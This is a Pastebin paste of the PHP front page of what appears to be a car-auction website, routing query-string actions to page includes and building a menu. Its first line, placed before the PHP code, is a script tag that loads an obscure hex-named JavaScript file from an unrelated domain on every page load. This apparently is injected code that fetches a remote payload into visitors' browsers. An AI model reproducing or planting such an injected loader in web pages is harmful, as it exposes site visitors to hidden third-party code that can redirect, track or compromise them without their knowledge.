Advertisement
Moslem1337

Untitled

Nov 28th, 2022
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.18 KB | None | 0 0
  1. <script type='text/javascript' src='//chocolatebushbunny.com/3f/45/65/3f4565683357f75282435734577c74c6.js'></script>
  2. <?php
  3. include_once( 'config/main.inc.php' );
  4. include_once( 'config/redirectHandler.php' );
  5. define( 'MEDIA_DIR', 'images/home/' );
  6. $includeLeftMenu = true;
  7.  
  8. $content = 'home.inc.php';
  9. $action = isset($_REQUEST['a'])?$_REQUEST['a']:"";
  10.  
  11. switch( $action )
  12. {
  13. case 'carproof': $content = 'carproof.inc.php'; break;
  14. case 'purchasepolicy': $content = 'purchasepolicy.inc.php'; break;
  15. //case 'carswap': $content = 'carswap.inc.php'; break;
  16. case 'carswap': $content = 'home.inc.php'; break;
  17. case 'onlinebidding':
  18. $content = 'onlinebidding.inc.php';
  19. $includeLeftMenu = false;
  20. break;
  21. case 'holidayhours': $content = 'holidayhours.inc.php'; break;
  22. case 'login': $content = 'login.php'; break;
  23. case 'liveblock':
  24. header( "Location: http://regalauctions.com/index.php?a=onlinebidding" );
  25. break;
  26. default: $content = 'home.inc.php';
  27. }
  28.  
  29. /** LEFT MENU **/
  30. $email = array( 'name' => 'email', 'text' => 'Email Regal', 'href' => 'contactus.php?a=contact&emailId=1&subject=General%20Inquiry%20From%20Home%20Page', 'title' => 'info@regalauctions.ca' );
  31. $subscribe = array( 'name'=> 'subscribe' , 'text' => 'Subscribe to eFlyer', 'href' => 'http://regalauctions.ca/pommo/user/subscribe.php', 'title' => 'Subscribe to our weekly email flyer' );
  32. //$marketreport = array( 'name' => 'marketreport', 'text' => 'Market Report', 'href' => 'currentsale.php?a=marketreport', 'title' => 'Market Report' );
  33.  
  34. if( $includeLeftMenu )
  35. {
  36. $leftMenu = new LeftMenu( 'Home', '' );
  37. $leftMenu->addLink( $email );
  38. $leftMenu->addLink( $subscribe );
  39. //$leftMenu->addLink( $marketreport );
  40. }
  41.  
  42. $title = "Cars for Sale by Auction";
  43. $cTitle = 'Cars for Sale by Auction';
  44.  
  45. ob_start();
  46. include_once( INCLUDE_DIR.'home/'.$content );
  47. $pageContent = ob_get_contents();
  48. ob_end_clean();
  49.  
  50. if( !isset($_REQUEST['contentOnly']) || $_REQUEST['contentOnly'] != 1 )
  51. include_once( INCLUDE_DIR.'top.inc.php' );
  52.  
  53. echo $pageContent;
  54.  
  55. if( !isset($_REQUEST['contentOnly']) || $_REQUEST['contentOnly'] != 1 )
  56. include_once( INCLUDE_DIR.'footer.inc.php' );
  57.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement